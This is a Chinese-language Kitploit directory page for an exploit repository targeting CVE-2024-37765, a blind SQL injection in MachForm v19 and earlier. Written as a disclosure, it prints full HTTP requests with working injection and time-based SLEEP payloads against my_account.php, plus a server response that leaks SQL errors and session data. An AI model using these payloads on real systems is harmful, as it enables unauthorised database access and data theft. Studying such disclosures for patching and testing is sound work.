Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2024-37765 — 针对MachForm v19及更早版本中认证盲SQL注入的漏洞利用脚本,使用基于时间的技巧从my_account.php端点提取数据库信息。 | Kitploit
工具/GitHubGitHub/atreb92/cve-2024-37765
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubatreb92/cve-2024-37765

cve-2024-37765

针对MachForm v19及更早版本中认证盲SQL注入的漏洞利用脚本,使用基于时间的技巧从my_account.php端点提取数据库信息。

查看仓库
1112年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

描述

MachForm 到版本 19 在用户账户设置页面存在一个经过身份验证的盲 SQL 注入漏洞。

SQL 注入攻击是通过使用客户端应用程序的输入数据字段插入 SQL 查询来实现的。这种攻击允许访问数据库,进而可能导致现有数据的泄露、修改或删除。

盲 SQL 注入是一种特定类型的攻击,攻击者不会收到完整的查询结果,而只能询问真或假问题;这可以通过使用睡眠函数来强制延迟数据库响应或引发错误条件来实现。

风险

  • 严重性:严重
  • CVSS v3.1 评分:9.9
  • CVSS v3.1 向量:AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

受影响资源

  • 版本:MachForm v19 及以下
  • https://<application-baseurl>/my_account.php

证据

my_account.php 资源中的 user_admin_theme 参数存在 SQL 注入漏洞。

image_1

请求:

root@kitploit:~
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

user_admin_theme=vibrant'+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1

响应:

root@kitploit:~
HTTP/1.1 302 Found
Date: Wed, 10 Apr 2024 09:15:21 GMT
Content-Security-Policy: default-src 'self' 'unsafe-inline';  img-src 'self' data:; frame-ancestors 'self' *.application-baseurl;  script-src-elem 'self' 'unsafe-inline' www.machform.com
Strict-Transport-Security: max-age=31536000
Referrer-Policy: no-referrer, strict-origin
X-Content-Type-Options: nosniff
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /my_account.php
Vary: Accept-Encoding,User-Agent
Content-Length: 967
Content-Type: text/html; charset=UTF-8
Connection: close

SQL: [647] INSERT INTO `ap_sessions` VALUES('ngkvjulsl5pstmlb8q6jds2vle', 'session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";',`timestamp`='1712740521'
Params:  0
Query Failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='s' at line 1

这可以利用基于时间的攻击,通过使用睡眠条件并验证响应延迟是否根据请求的查询结果而变化来进行利用。

查询: SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE SLEEP(0) END

通过使用始终为真的条件,应用程序的响应时间超过 2000 毫秒。

image_2

请求:

root@kitploit:~
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close

user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d1)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1

查询: SELECT CASE WHEN (1=2) THEN SLEEP(2) ELSE SLEEP(0) END

而使用始终为假的条件,应用程序的响应几乎是即时的。

image_3

请求:

root@kitploit:~
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl/
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close

user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d0)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1

这个漏洞可以利用一个简单的脚本来利用,该脚本评估响应时间,以了解输入的查询是否返回了真或假的响应。

下面是一个使用 exploit.py 检索数据库当前用户的示例。

image_4

下载工具